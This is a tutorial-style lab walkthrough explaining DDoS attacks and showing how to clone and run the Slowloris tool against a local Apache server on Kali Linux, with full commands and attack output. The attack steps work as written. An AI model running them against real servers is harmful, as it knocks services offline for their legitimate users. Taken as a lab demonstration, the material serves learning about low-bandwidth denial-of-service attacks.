

DDoS- Slowloris

A Distributed Denial of Service (DDoS) attack is a malicious attempt to disrupt the normal traffic of a targeted server, service, or network by overwhelming it with a flood of internet traffic. This is accomplished by using multiple compromised computer systems as sources of traffic, often forming a botnet. These botnets are typically composed of compromised devices such as computers, IoT devices, and servers. The attack works by sending an overwhelming amount of requests to the target, causing its resources to become exhausted, leading to slowdowns, crashes, and unavailability for legitimate users. DDoS attacks can have severe consequences for businesses and organizations, including financial losses, damage to reputation, and loss of customer trust. They are often used as a tool for various malicious intents, such as extortion, political motivations, or simply causing disruption.

Slowloris is a specialized tool in Linux used for conducting Denial of Service (DoS) attacks. Unlike traditional DoS attacks that flood the target server with excessive traffic, Slowloris operates by opening numerous connections to the target server and keeping them open for as long as possible. It does this by sending partial HTTP requests and periodically sending additional HTTP headers, but never completing the requests. This method consumes the server's available connections, eventually preventing it from accepting new, legitimate connections. Slowloris is particularly effective against threaded web servers like Apache, where each connection

consumes a thread. This tool allows a relatively small amount of traffic from a single machine to cause significant disruption to the targeted server. It highlights the importance of robust server configuration and defensive measures against such low-bandwidth, high-impact attacks.

Example: -

1. Firstly, open browser and go to slowloris official github repository in order to clone it into your terminal.

```
(kali㉿kali)-[~]  
└─$ sudo su  
[sudo] password for kali:  
└─(root㉿kali)-[/home/kali]  
└─# git clone https://github.com/gkbrk/slowloris.git  
Cloning into 'slowloris'...  
remote: Enumerating objects: 152, done.  
remote: Counting objects: 100% (78/78), done.  
remote: Compressing objects: 100% (32/32), done.  
remote: Total 152 (delta 50), reused 48 (delta 46), pack-reused 74  
Receiving objects: 100% (152/152), 25.90 KiB | 947.00 KiB/s, done.  
Resolving deltas: 100% (80/80), done.
```

2. Now check you IP address using ifconfig.

```
(kali㉿kali)-[~]  
└─$ sudo ifconfig  
[sudo] password for kali:  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.172.135 netmask 255.255.255.0 broadcast 192.168.172.255  
    inet6 fe80::668b:a14b:778b:c0a7 prefixlen 64 scopeid 0x20<link>  
    ether 00:0c:29:f7:67:f8 txqueuelen 1000 (Ethernet)  
    RX packets 3206 bytes 3375558 (3.2 MiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 1546 bytes 246755 (240.9 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 24 bytes 1440 (1.4 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 24 bytes 1440 (1.4 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

3. Now we have to start our apache server to do so use the following command.

```
(kali@kali)-[~]  
$ sudo service apache2 start
```

4. To check the status of apache server use the status command.

```
(kali@kali)-[~]  
$ sudo service apache2 status  
● apache2.service - The Apache HTTP Server  
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; preset: disabled)  
   Active: active (running) since Fri 2024-07-05 00:12:12 EDT; 15s ago  
     Docs: https://httpd.apache.org/docs/2.4/  
  Process: 3016 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)  
 Main PID: 3033 (apache2)  
    Tasks: 7 (limit: 7107)  
  Memory: 20.0M  
     CPU: 158ms  
   CGroup: /system.slice/apache2.service  
           └─3033 /usr/sbin/apache2 -k start  
             └─3035 /usr/sbin/apache2 -k start  
               └─3036 /usr/sbin/apache2 -k start  
                 └─3037 /usr/sbin/apache2 -k start  
                   └─3038 /usr/sbin/apache2 -k start  
                     └─3039 /usr/sbin/apache2 -k start  
                       └─3040 /usr/sbin/apache2 -k start  
  
Jul 05 00:12:11 kali systemd[1]: Starting The Apache HTTP Server...  
Jul 05 00:12:12 kali apachectl[3032]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, please add the appropriate entry to the /etc/hosts file.  
Jul 05 00:12:12 kali systemd[1]: Started The Apache HTTP Server.  
lines 1-21/21 (END)
```

5. Now move to slowloris directory and look for the python file.

```
(root@kali)-[/home/kali]  
# cd slowloris  
  
(root@kali)-[/home/kali/slowloris]  
# ls  
LICENSE  MANIFEST.in  README.md  setup.py  slowloris.py
```

6. Now use `ls -l` to list all the files in detailed format.

```
(root@kali)-[/home/kali/slowloris]
# ls -l
total 24
-rw-r--r-- 1 root root 1065 Jul  5 00:09 LICENSE
-rw-r--r-- 1 root root  26 Jul  5 00:09 MANIFEST.in
-rw-r--r-- 1 root root 2551 Jul  5 00:09 README.md
-rw-r--r-- 1 root root  438 Jul  5 00:09 setup.py
-rwxr-xr-x 1 root root 8047 Jul  5 00:09 slowloris.py
```

7. Now run the following command with target IP address to perform DDoS attack.

```
(root@kali)-[/home/kali/slowloris]
# python3 slowloris.py 192.168.172.135 -s 500
[05-07-2024 00:13:29] Attacking 192.168.172.135 with 500 sockets.
[05-07-2024 00:13:29] Creating sockets...
[05-07-2024 00:13:29] Sending keep-alive headers...
[05-07-2024 00:13:29] Socket count: 500
[05-07-2024 00:13:44] Sending keep-alive headers...
[05-07-2024 00:13:44] Socket count: 500
[05-07-2024 00:13:59] Sending keep-alive headers...
[05-07-2024 00:13:59] Socket count: 500
[05-07-2024 00:14:14] Sending keep-alive headers...
[05-07-2024 00:14:14] Socket count: 500
[05-07-2024 00:14:14] Creating 100 new sockets...
[05-07-2024 00:14:29] Sending keep-alive headers...
[05-07-2024 00:14:29] Socket count: 500
[05-07-2024 00:14:29] Creating 55 new sockets...
[05-07-2024 00:14:44] Sending keep-alive headers...
[05-07-2024 00:14:44] Socket count: 500
[05-07-2024 00:14:44] Creating 145 new sockets...
[05-07-2024 00:14:59] Sending keep-alive headers...
[05-07-2024 00:14:59] Socket count: 500
[05-07-2024 00:14:59] Creating 100 new sockets...
[05-07-2024 00:15:14] Sending keep-alive headers...
[05-07-2024 00:15:14] Socket count: 500
[05-07-2024 00:15:14] Creating 55 new sockets...
[05-07-2024 00:15:29] Sending keep-alive headers...
[05-07-2024 00:15:29] Socket count: 500
[05-07-2024 00:15:29] Creating 145 new sockets...
[05-07-2024 00:15:44] Sending keep-alive headers...
[05-07-2024 00:15:44] Socket count: 500
[05-07-2024 00:15:44] Creating 100 new sockets...
[05-07-2024 00:15:59] Sending keep-alive headers...
[05-07-2024 00:15:59] Socket count: 500
```

8. To check the attack go to your browser and on your URL bar type that IP address, and you will see the site is only loading and loading but not opening this is how Slowloris tool works.

